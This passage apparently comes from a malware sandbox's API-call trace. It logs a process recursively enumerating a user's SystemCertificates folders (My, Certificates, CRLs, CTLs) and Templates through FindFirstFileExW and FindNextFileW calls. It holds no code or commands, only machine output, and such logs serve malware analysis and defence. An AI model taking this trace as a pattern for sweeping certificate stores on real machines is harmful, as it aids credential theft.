(lpString1="..", lpString2=".") returned 1 [0055.516] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.516] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1 [0055.516] lstrcmpW (lpString1="My", lpString2=".") returned 1 [0055.516] lstrcmpW (lpString1="My", lpString2="..") returned 1 [0055.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3d88 [0055.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0055.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.516] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0055.516] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.516] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.648] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.648] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.648] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0055.648] lstrcmpW (lpString1="Certificates", lpString2=".") returned 1 [0055.648] lstrcmpW (lpString1="Certificates", lpString2="..") returned 1 [0055.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0055.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3ce0 [0055.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xee) returned 0x5f1dd0 [0055.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3ce0 | out: hHeap=0x540000) returned 1 [0055.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0055.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0055.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.648] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0055.649] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.649] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.649] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.649] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.649] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.649] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c178 [0055.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.649] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0055.650] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0055.650] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.650] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.650] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c178 | out: hHeap=0x540000) returned 1 [0055.650] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0055.650] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0055.650] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1 [0055.650] lstrcmpW (lpString1="CRLs", lpString2=".") returned 1 [0055.650] lstrcmpW (lpString1="CRLs", lpString2="..") returned 1 [0055.650] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3ce0 [0055.650] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xee) returned 0x5f1ec8 [0055.650] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3ce0 | out: hHeap=0x540000) returned 1 [0055.650] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1dd0 | out: hHeap=0x540000) returned 1 [0055.650] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0055.650] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.650] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0055.650] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.651] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.651] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.651] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.651] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.651] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0055.651] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.651] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0055.651] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0055.651] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.651] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.651] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0055.651] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0055.651] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0055.651] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1 [0055.651] lstrcmpW (lpString1="CTLs", lpString2=".") returned 1 [0055.651] lstrcmpW (lpString1="CTLs", lpString2="..") returned 1 [0055.651] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3ce0 [0055.651] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xee) returned 0x5f1dd0 [0055.651] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3ce0 | out: hHeap=0x540000) returned 1 [0055.651] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1ec8 | out: hHeap=0x540000) returned 1 [0055.651] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0055.651] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.651] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0055.652] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.652] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.652] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.652] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.652] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.652] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0055.652] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.652] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0055.652] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0055.652] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.652] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.652] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0055.652] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0055.652] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0055.652] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 0 [0055.652] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3ce0 [0055.652] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1dd0 | out: hHeap=0x540000) returned 1 [0055.652] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0055.653] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0055.653] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.653] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0055.653] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1 [0055.653] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1 [0055.653] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 0 [0055.653] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3ce0 | out: hHeap=0x540000) returned 1 [0055.653] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0055.653] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0055.653] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0 [0055.653] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0055.653] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3d88 | out: hHeap=0x540000) returned 1 [0055.653] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.654] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.654] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.655] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1 [0055.655] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0 [0055.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0055.655] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0055.656] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0055.656] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0055.656] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0055.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0055.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0055.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0055.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0055.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0055.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0055.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0055.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.656] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.667] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.667] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, 